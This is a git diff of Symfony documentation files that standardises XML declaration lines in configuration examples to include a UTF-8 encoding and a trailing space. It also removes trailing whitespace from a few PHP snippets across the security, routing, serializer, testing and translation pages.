--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -318,7 +318,7 @@ Now define a service for the ``ExtraLoader``:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
diff --git a/security.rst b/security.rst
index a582997801b..c0439086b76 100644
--- a/security.rst
+++ b/security.rst
@@ -116,7 +116,7 @@ Fortunately, the ``make:user`` command already configured one for you in your
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -184,7 +184,7 @@ command will pre-configure this for you:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -298,7 +298,7 @@ important section is ``firewalls``:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -523,7 +523,7 @@ start with ``/admin``, you can:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -599,7 +599,7 @@ the list and stops when it finds the first match:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -853,7 +853,7 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -970,7 +970,7 @@ rules by creating a role hierarchy:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/access_control.rst b/security/access_control.rst
index 53d216c8ce2..68c659095b2 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -50,7 +50,7 @@ Take the following ``access_control`` entries as an example:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -222,7 +222,7 @@ pattern so that it is only accessible by requests from the local server itself:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -309,7 +309,7 @@ key:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -385,7 +385,7 @@ access those URLs via a specific port. This could be useful for example for
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -436,7 +436,7 @@ the user will be redirected to ``https``:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 42ee7fe5dd9..8db53e89421 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -73,7 +73,7 @@ Now, configure this service ID as the entry point for the firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -150,7 +150,7 @@ configure it under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
index f5ec3723c7b..e68e9849685 100644
--- a/security/auth_providers.rst
+++ b/security/auth_providers.rst
@@ -52,7 +52,7 @@ To support HTTP Basic authentication, add the ``http_basic`` key to your firewal
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -118,7 +118,7 @@ Enable the x509 authentication for a particular firewall in the security configu
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -197,7 +197,7 @@ corresponding firewall in your security configuration:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:srv="http://symfony.com/schema/dic/services">
 
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 920c8315f05..1b141b0f85f 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -483,7 +483,7 @@ You are finished! You can now define parts of your app as under WSSE protection.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -563,7 +563,7 @@ in order to put it to use::
 
     // src/DependencyInjection/Security/Factory/WsseFactory.php
     namespace App\DependencyInjection\Security\Factory;
-    
+
     use App\Security\Authentication\Provider\WsseProvider;
 
     class WsseFactory implements SecurityFactoryInterface
@@ -607,7 +607,7 @@ set to any desirable value per firewall.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index 0ce0c2e3ff5..e2cc7037cd9 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -44,7 +44,7 @@ if the request path matches the configured ``pattern``.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -101,7 +101,7 @@ only initialize if the host from the request matches against the configuration.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -159,7 +159,7 @@ the provided HTTP methods.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -215,7 +215,7 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/force_https.rst b/security/force_https.rst
index 797446ce4b9..f7ee271648a 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -31,7 +31,7 @@ access control:
         .. code-block:: xml
 
             <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
+            <?xml version="1.0" encoding="UTF-8" ?>
             <srv:container xmlns="http://symfony.com/schema/dic/security"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/form_login.rst b/security/form_login.rst
index 374e21a78b7..6cc958fc9eb 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -36,7 +36,7 @@ First, enable ``form_login`` under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -431,7 +431,7 @@ a relative/absolute URL or a Symfony route name:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -488,7 +488,7 @@ previously requested URL and always redirect to the default page:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -576,7 +576,7 @@ parameter is included in the request, you may use the value of the
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -642,7 +642,7 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -717,7 +717,7 @@ redirects can be customized using the  ``target_path_parameter`` and
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index d78a415ff34..3bce28359a0 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -420,7 +420,7 @@ domain:
     .. code-block:: xml
 
         <!-- translations/security.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 7f0ff8b7f0b..de4285a653a 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -72,7 +72,7 @@ Next, configure your "user provider" to use this new ``apiToken`` property:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -258,7 +258,7 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -458,7 +458,7 @@ completes registration. To do that, use your authenticator and a service called
 
     // src/Controller/RegistrationController.php
     namespace App\Controller;
-    
+
     // ...
     use App\Security\LoginFormAuthenticator;
     use Symfony\Component\HttpFoundation\Request;
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index ca4c1e3947f..d7c1692ba80 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -33,7 +33,7 @@ listener:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -167,7 +167,7 @@ also adjust the query parameter name via the ``parameter`` setting:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -224,7 +224,7 @@ be called):
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index a4be5dac0e7..d61b82287bc 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -24,7 +24,7 @@ First, enable the JSON login under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -173,7 +173,7 @@ The security configuration should be:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
diff --git a/security/ldap.rst b/security/ldap.rst
index 3b5b549e7ec..eb4872dfbdf 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -160,7 +160,7 @@ use the ``ldap`` user provider.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -384,7 +384,7 @@ Configuration example for form login
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -437,7 +437,7 @@ Configuration example for HTTP Basic
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -497,7 +497,7 @@ Configuration example for form login and query_string
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index f9145e1d897..0a93eae6e9c 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -37,7 +37,7 @@ This is how your security configuration can look in action:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -115,7 +115,7 @@ the solution is to split the configuration into two separate firewalls:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index 22bc333dec4..7c1ca4a068f 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -22,7 +22,7 @@ to apply to all instances of a specific class:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/password_migration.rst b/security/password_migration.rst
index bb77a0504ab..426a9626cbc 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -49,7 +49,7 @@ on the new encoder to point to the old, legacy encoder(s):
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:security="http://symfony.com/schema/dic/security"
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index d5374e44b03..068816440ce 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -81,7 +81,7 @@ is the service id of your user checker:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 07227868afe..dfebcb449a7 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -62,7 +62,7 @@ to retrieve them:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -138,7 +138,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
         public function loadUserByUsername($usernameOrEmail)
         {
             $entityManager = $this->getEntityManager();
-            
+
             return $entityManager->createQuery(
                     'SELECT u
                     FROM App\Entity\User u
@@ -169,7 +169,7 @@ To finish this, remove the ``property`` key from the user provider in
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -234,7 +234,7 @@ users will encode their passwords:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -413,7 +413,7 @@ command will generate a nice skeleton to get you started::
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
-        
+
         /**
          * Upgrades the encoded password of a user, typically for using a better hash algorithm.
          */
diff --git a/serializer.rst b/serializer.rst
index d416f8fb40a..3518be26607 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -116,7 +116,7 @@ properties and setters (``setXxx()``) to change properties:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 76d4cb9792e..e860c9e7d15 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -89,7 +89,7 @@ If you want to apply tags automatically for your own services, use the
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
             <services>
                 <!-- this config only applies to the services created by this file -->
diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index cf1b63621a2..cf6cb97b651 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -26,7 +26,7 @@ before running the tests:
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit
         bootstrap="tests/bootstrap.php"
     >
@@ -39,7 +39,7 @@ cache to be cleared:
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit>
         <!-- ... -->
 
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 336f6f12b39..ff32b875a31 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -36,7 +36,7 @@ encoders configuration to generate password hashes as fast as possible:
     .. code-block:: xml
 
         <!-- config/packages/test/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/translation.rst b/translation.rst
index ac14dd8c318..db096351c7e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -141,7 +141,7 @@ different formats:
     .. code-block:: xml
 
         <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/translation/debug.rst b/translation/debug.rst
index afe1c778e77..bca8702f9a9 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -39,7 +39,7 @@ you've already setup some translations for the ``fr`` locale:
     .. code-block:: xml
 
         <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -70,7 +70,7 @@ and for the ``en`` locale:
     .. code-block:: xml
 
         <!-- translations/messages.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/translation/message_format.rst b/translation/message_format.rst
index 4e637a4335e..eff82a0e123 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -51,7 +51,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -112,7 +112,7 @@ typical usage of this is gender:
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -199,7 +199,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -327,7 +327,7 @@ Similar to ``plural``, ``selectordinal`` allows you to use numbers as ordinal sc
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -391,7 +391,7 @@ using the :phpclass:`IntlDateFormatter`:
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
